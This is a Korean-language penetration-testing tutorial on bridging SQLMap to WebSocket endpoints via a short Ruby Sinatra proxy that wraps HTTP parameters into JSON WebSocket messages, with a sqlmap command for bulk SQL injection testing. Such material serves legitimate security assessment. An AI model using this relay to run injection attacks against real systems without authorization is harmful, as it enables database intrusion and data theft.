WebSocket 보안 진단의 과제와 SQLMap의 한계
현대 웹 애플리케이션은 실시간 데이터 통신과 양방향 연결을 위해 WebSocket 프로토콜을 광범위하게 사용하고 있습니다. 그러나 보안 진단 분야에서 가장 널리 쓰이는 SQL 인젝션 자동화 도구인 SQLMap은 기본적으로 HTTP 및 HTTPS 프로토콜만을 지원하며, WebSocket 프로토콜을 통한 직접적인 페이로드 전송 및 응답 분석 기능을 내장하고 있지 않습니다. 이러한 기술적 격차로 인해, WebSocket 엔드포인트에서 SQL 인젝션 취약점이 발견되더라도 이를 자동화된 도구로 정밀하게 진단하거나 데이터를 대량으로 추출하는 데 큰 어려움이 따릅니다.
Ruby를 이용한 HTTP-to-WebSocket 프록시 설계
이러한 문제를 해결하는 가장 효율적인 방법은 HTTP 요청을 수신하여 이를 WebSocket 메시지로 변환하고, 그 결과를 다시 HTTP 응답으로 래핑하여 반환하는 중간 프록시(Proxy) 서버를 구축하는 것입니다. Ruby 언어는 Sinatra와 같은 경량 프레임워크와 풍부한 라이브러리 생태계를 갖추고 있어, 이러한 목적의 유틸리티를 최소한의 코드로 신속하게 구현하기에 매우 적합합니다.
1. 기술 스택 및 환경 구성
프록시 서버 구축을 위해 다음과 같은 Ruby 라이브러리(Gem)를 활용합니다: * Sinatra: 매우 가볍고 직관적인 웹 프레임워크로, SQLMap의 요청을 받을 HTTP 엔드포인트를 제공합니다. * faye-websocket: 강력한 WebSocket 클라이언트 라이브러리로, 타겟 서버와의 실시간 통신을 담당합니다. * Puma/Rackup: Sinatra 애플리케이션을 안정적으로 구동하기 위한 웹 서버 및 인터페이스입니다.
설치는 다음 명령어를 통해 간단히 수행할 수 있습니다:
gem install sinatra faye-websocket rackup puma
2. 프록시 서버 핵심 로직 구현
app.rb 파일에 작성될 핵심 로직은 SQLMap으로부터 오는 GET 요청의 파라미터를 추출하여, 이를 타겟 서버가 기대하는 JSON 형태의 WebSocket 메시지로 변환하는 것입니다.
```ruby require ‘faye/websocket’ require ‘sinatra’
get ‘/’ do # 타겟 서버의 WebSocket 엔드포인트로 연결을 시도합니다. ws = Faye::WebSocket::Client.new(‘ws://TARGET/cable’)
ws.on :open do |_event| # HTTP GET 파라미터를 추출하여 JSON 페이로드로 변환 후 전송합니다. message = {} message[‘username’] = params[‘username’] || ‘’ ws.send(message.to_json) end
ws.on :message do |event| # WebSocket 응답을 HTTP 응답 본문으로 설정하고 연결을 닫습니다. body event.data ws.close end end ```
실전 적용 및 데이터 추출
프록시 서버가 실행되면(ruby app.rb), SQLMap의 타겟 URL을 로컬 호스트로 지정하여 실행합니다. SQLMap은 로컬 프록시를 통해 수천 개의 테스트 페이로드를 전송하게 되고, 프록시는 이를 실시간으로 WebSocket 요청으로 변환하여 타겟 서버에 전달합니다.
실행 예시:
python3 sqlmap.py -u "http://127.0.0.1:4567/?username=test" --threads=10 --batch
이 과정을 통해 SQLMap의 모든 자동화 기능을 WebSocket 기반 환경에서도 동일하게 활용할 수 있게 됩니다.